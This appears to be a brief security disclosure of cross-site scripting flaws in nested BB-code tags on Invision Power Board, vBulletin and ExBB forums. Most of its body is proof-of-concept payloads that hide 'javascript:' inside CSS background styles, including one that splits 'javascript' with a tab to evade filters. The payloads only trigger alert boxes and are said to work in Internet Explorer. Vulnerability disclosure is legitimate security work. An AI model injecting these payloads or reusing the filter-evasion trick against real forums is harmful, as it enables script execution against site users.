XSS was found in the nested BB tag in many forum:

Invision Power Board:
[COLOR=http://aaa.aa/=`aaa.jpg]`
style=background:url(javascript:alert()) [/COLOR]

vBulletin
mailto:assss@wew.ew]
sssssss[/URL]` style=`background:url(javaSCrip
t:alert(/Hi_from_Algol/))` (using tab between "javaSCrip" and "t")

ExBB
[color='http://rerer.rew]fffff[/color]'
style=background:url(javascript:alert());

Other forum and other BB tag may be vulnerable. Examples above work only in
Internet Explorer.

More info - http://www.securitylab.ru/51808.html and
antichat.ru/txt/IPB/index3.php